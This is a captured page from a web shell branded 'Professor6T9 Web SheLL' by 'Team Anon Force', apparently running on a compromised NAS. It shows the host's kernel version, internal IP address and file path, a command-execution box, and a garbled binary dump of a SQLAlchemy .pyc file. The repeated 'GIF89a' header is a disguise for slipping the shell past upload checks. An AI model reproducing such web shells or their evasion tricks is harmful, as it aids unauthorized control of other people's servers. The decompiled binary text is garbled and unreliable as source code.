GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
sqlalchemy
/
orm
/
__pycache__
[ HOME ]
Exec
Submit
__init__.cpython-38.pyc
U �}�hV% � @ st d Z ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlm Z ddl mZ dd l mZ dd l m Z ddlmZ ddlmZ dd lmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlm Z ddlm!Z! ddlm"Z" ddl#m$Z$ ddl%m&Z& ddl%m'Z' ddl%m(Z( dd l%m)Z) dd!l%m*Z* dd"l%m+Z+ dd#lm,Z, dd$l-m.Z. dd%l-m/Z/ dd&l-m0Z0 dd'l-m1Z1 dd(l-m2Z2 dd)l-m3Z3 dd*l-m4Z4 dd+l-m5Z5 d,d-lm6Z7 d,d.lm-Z8 d,d/l9m:Z: dQd1d2�Z;e:e!d3�Z<d4d5� Z=d6d7� Z>e:ed8�Z?e:ed9�Z@d:d;� ZAd<d=� ZBd>d?� ZCe:ed@�Ze:e dA�ZDe:edB�ZEe8jFdCdDdE�dFdG� �ZGdHdI� ZHejIjJZIejIjKZLejMjJZMejNjJZNejOjJZOejPjJZPejQjJZQejRjJZRejSjJZSejTjKZTejUjJZUejVjKZVejWjJZWejXjKZXejYjJZYejZjJZZej[jJZ[ej\jJZ\ej]jJZ]dJdK� Z^dLdM� Z_e:edN�Z`dOdP� Zaeaeb� � d0S )Rz� Functional constructs for ORM configuration. See the SQLAlchemy object relational tutorial and mapper configuration documentation for an overview of how this module is used. � )�exc)�mapper)�strategy_options)�AttributeExtension)�MapperExtension)�SessionExtension)�ComparableProperty)�CompositeProperty)�SynonymProperty)�EXT_CONTINUE)�EXT_SKIP)�EXT_STOP)�PropComparator)�_mapper_registry)�class_mapper��configure_mappers)�Mapper)� reconstructor)� validates��ColumnProperty)�AliasOption)�Bundle)�Query)�foreign)�RelationshipProperty)�remote)�scoped_session)�close_all_sessions)�make_transient)�make_transient_to_detached)�object_session)�Session)�sessionmaker)�Load)�aliased)�join)� object_mapper)� outerjoin)�polymorphic_union)�was_deleted)�with_parent)�with_polymorphic� )�sql��util)�public_factoryNc K s6 |� dd� |� dd� |� dd� tf d| i|��S )a� Create a new :class:`.Session` with no automation enabled by default. This function is used primarily for testing. The usual route to :class:`.Session` creation is via its constructor or the :func:`.sessionmaker` function. :param bind: optional, a single Connectable to use for all database access in the created :class:`~sqlalchemy.orm.session.Session`. :param \*\*kwargs: optional, passed through to the :class:`.Session` constructor. :returns: an :class:`~sqlalchemy.orm.session.Session` instance The defaults of create_session() are the opposite of that of :func:`sessionmaker`; ``autoflush`` and ``expire_on_commit`` are False, ``autocommit`` is True. In this sense the session acts more like the "classic" SQLAlchemy 0.3 session with these. Usage:: >>> from sqlalchemy.orm import create_session >>> session = create_session() It is recommended to use :func:`sessionmaker` instead of create_session(). Z autoflushFZ autocommitTZexpire_on_commit�bind)� setdefaultr# )r3 �kwargs� r6 �>/tmp/pip-target-hu2ovxdm/lib/python/sqlalchemy/orm/__init__.py�create_session? s r8 z.orm.relationshipc O s t | |�S )z#A synonym for :func:`relationship`.��relationship)�arg�kwr6 r6 r7 �relationg s r= c K s d|d<